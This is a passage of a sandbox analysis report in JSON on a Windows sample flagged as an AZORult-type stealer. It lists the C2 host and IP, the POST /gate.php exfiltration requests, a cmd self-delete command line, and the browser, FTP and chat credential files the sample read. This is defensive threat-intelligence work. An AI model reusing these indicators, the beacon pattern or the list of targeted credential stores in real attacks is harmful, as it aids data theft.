process","description":"\"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\SysWOW64\\timeout.exe\" (Handle: 124)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\SysWOW64\\timeout.exe\" (Handle: 124)\n \"cmd.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\SysWOW64\\timeout.exe\" (Handle: 124)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\SysWOW64\\timeout.exe\" (Handle: 124)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"47.74.188.207:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\3761492849024123319287.tempcbss\"\n \"\" created file \"%TEMP%\\3761492849024123319287.tempcbss-wal\"\n \"\" created file \"%TEMP%\\3761492849024123319287.tempcbss-shm\"\n \"\" created file \"%TEMP%\\3762744796932344962560.tempcbss\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00016765-00002716) was launched with modified environment variables: \"Path\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /gate.php HTTP/1.0\nHost: babiruska.com\nConnection: close\nContent-Length: 100\nAccept-Language: en-US\nContent-Type: image/jpeg\" with no payload\n \"POST /gate.php HTTP/1.0\nHost: babiruska.com\nConnection: close\nContent-Length: 299424\nAccept-Language: en-US\nContent-Type: image/jpeg\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"\" called \"OpenService\" to access the \"VaultSvc\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET TROJAN Trojan Generic - POST To gate.php with no referer\" (SID: 2017930, Rev: 9, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ETPRO TROJAN AZORult Variant.2 Checkin m3\" (SID: 2826361, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"malicious","category":"Installation/Persistance","name":"Creates a system file in windows directory","description":"\"\" created file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\\"","origin":"API Call","relevance":7,"id":"api-5","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Scans for artifacts that may help identify the target","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\15.0\\OUTLOOK\\PROFILES\\OUTLOOK\")\n \"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\16.0\\OUTLOOK\\PROFILES\\OUTLOOK\")","origin":"Registry Access","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Scans for artifacts that may help identify the target"}],"sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":18,"imported_dlls_count":87,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":893,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["phishing"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"5a4d12df7ca3e114fa3550c3","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","submit_name":"tutu.exe","analysis_start_time":"2018-01-03T18:29:13+00:00","indicators_count":{"informative":15,"suspicious":13,"malicious":5},"tags":["Network Traffic"],"is_in_unified_schema":true},{"id":"5a257e367ca3e116684a7875","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["USA"],"submit_name":"tutu.exe","analysis_start_time":"2017-12-04T17:54:14+00:00","indicators_count":{"informative":14,"suspicious":15,"malicious":7},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"47.74.188.207","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]}],"dns_resolutions":[{"domain":"babiruska.com","country":"-","registrar_name":"ERANET INTERNATIONAL LIMITED","registrar_organization":"Not Applicable","registrar_name_servers":"A.DNSPOD.COM","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]}],"http_requests":[{"host":"babiruska.com","host_ip":"47.74.188.207:80","url":"/gate.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /gate.php HTTP/1.0\nHost: babiruska.com\nConnection: close\nContent-Length: 100\nAccept-Language: en-US\nContent-Type: image/jpeg","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}],"processes":[{"pid":2488,"ppid":0,"name":"37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270.exe","command_line":"","sha256":"37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270","normalized_path":"C:\\37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270.exe","uid":"00010494-00002488","icon":"$27"},{"pid":1924,"ppid":2488,"name":"cmd.exe","command_line":"/c timeout 1 & del \"C:\\37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00010494-00002488","uid":"00011204-00001924"},{"pid":2224,"ppid":1924,"name":"timeout.exe","command_line":"timeout 1","sha256":"c4efafc49d46dba7e89cd94892799c739a3103f724fec9be494bf1267fdb059e","normalized_path":"%WINDIR%\\SysWOW64\\timeout.exe","parent_uid":"00011204-00001924","uid":"00011210-00002224"}],"all_imported_dlls":["wsock32.dll","WSHTCPIP.DLL","pnrpnsp.dll","api-ms-win-downlevel-user32-l1-1-0.dll","wow64win.dll","usp10.dll","nsi.dll","dnsapi.dll","apphelp.dll","api-ms-win-downlevel-version-l1-1-0.dll","winbrand.dll","sechost.dll","imm32.dll","cfgmgr32.dll","kernel32.dll","comdlg32.dll","wkscli.dll","crypt32.dll","rasadhlp.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","advapi32.dll","cryptbase.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","secur32.dll","wow64.dll","comctl32.dll","srvcli.dll","version.dll","netapi32.dll","netutils.dll","IPHLPAPI.DLL","gdi32.dll","ole32.dll","msvfw32.dll","winhttp.dll","msctf.dll","uxtheme.dll","msasn1.dll","NapiNSP.dll","devobj.dll","msacm32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","ntmarta.dll","wininet.dll","clbcatq.dll","lpk.dll","rpcrt4.dll","psapi.dll","normaliz.dll","userenv.dll","user32.dll","sspicli.dll","oleaut32.dll","winmm.dll","pdh.dll","nlaapi.dll","iertutil.dll","urlmon.dll","ntdll.dll","shell32.dll","webio.dll","ws2_32.dll","winrnr.dll","ieframe.dll","wow64cpu.dll","KernelBase.dll","shlwapi.dll","avifil32.dll","mswsock.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","setupapi.dll","msvcrt.dll","winnsi.dll","propsys.dll","Wldap32.dll","profapi.dll","msvcp100.dll","FWPUCLNT.DLL","vaultcli.dll","rpcss.dll","nss3.dll","oleacc.dll","oleaccrc.dll","mlang.dll","msvcr100.dll","mozglue.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"%WINDIR%\\SysWOW64\\en-US\\msvfw32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"C:\\37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270.exe","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"%WINDIR%\\SysWOW64","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"%WINDIR%\\SysWOW64\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"%WINDIR%\\SysWOW64\\timeout.exe","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\timeout.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%WINDIR%\\System32\\en-US\\msvfw32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\filezilla\\recentservers.xml","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\.purple\\accounts.xml","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\cookies.sqlite","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%TEMP%\\3761492849024123319287.tempcbss","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@127.0.0[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@2013561.fls.doubleclick[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@21cn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@246059135.log.optimizely[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@24h.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@27[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@2ch[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@2o7[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@33across[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@360doc[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@360[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@3lift[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@3suisses[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@4shared[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@53kf[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@58[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@61[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@85play[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@91[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@96pk[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@a.qunar[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@a.twiago[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@a4.bing[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@abcnews.go[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@abmr[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@abril.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@accounts.google[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@acer[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@acuityplatform[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad-survey[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad.360yield[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad.dyntracker[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad.zanox[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad1.adfarm1.adition[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad2.adfarm1.adition[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad4.adfarm1.adition[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad4mat[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad9.adfarm1.adition[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@addthis[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adentifi[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adfarm1.adition[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adform[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adgrx[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adhigh[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@admaster.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@admatic.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@admized[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adnxs[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adnxs[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adobe[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adobe[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adp.112.2o7[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adp[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.ad4game[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.avocet[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.kiosked[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.linkedin[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.pubmatic[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.travelaudience[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adscale[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adsearch.adkontekst[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adserver[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adshows.21cn[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adspirit[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adsrvr[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adsymptotic[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtechjp[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtechus[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtech[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtech[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtriba[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@advertising[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@advertising[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@advolution[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adyun[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@aeriagames[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@affiliedge-tracking[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@agkn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@alexa[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@aliexpress[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@allcnet.gazeta[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@allocine[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@allrecipes[1].txt","sources":[{"report_type":"sandbox","report_id"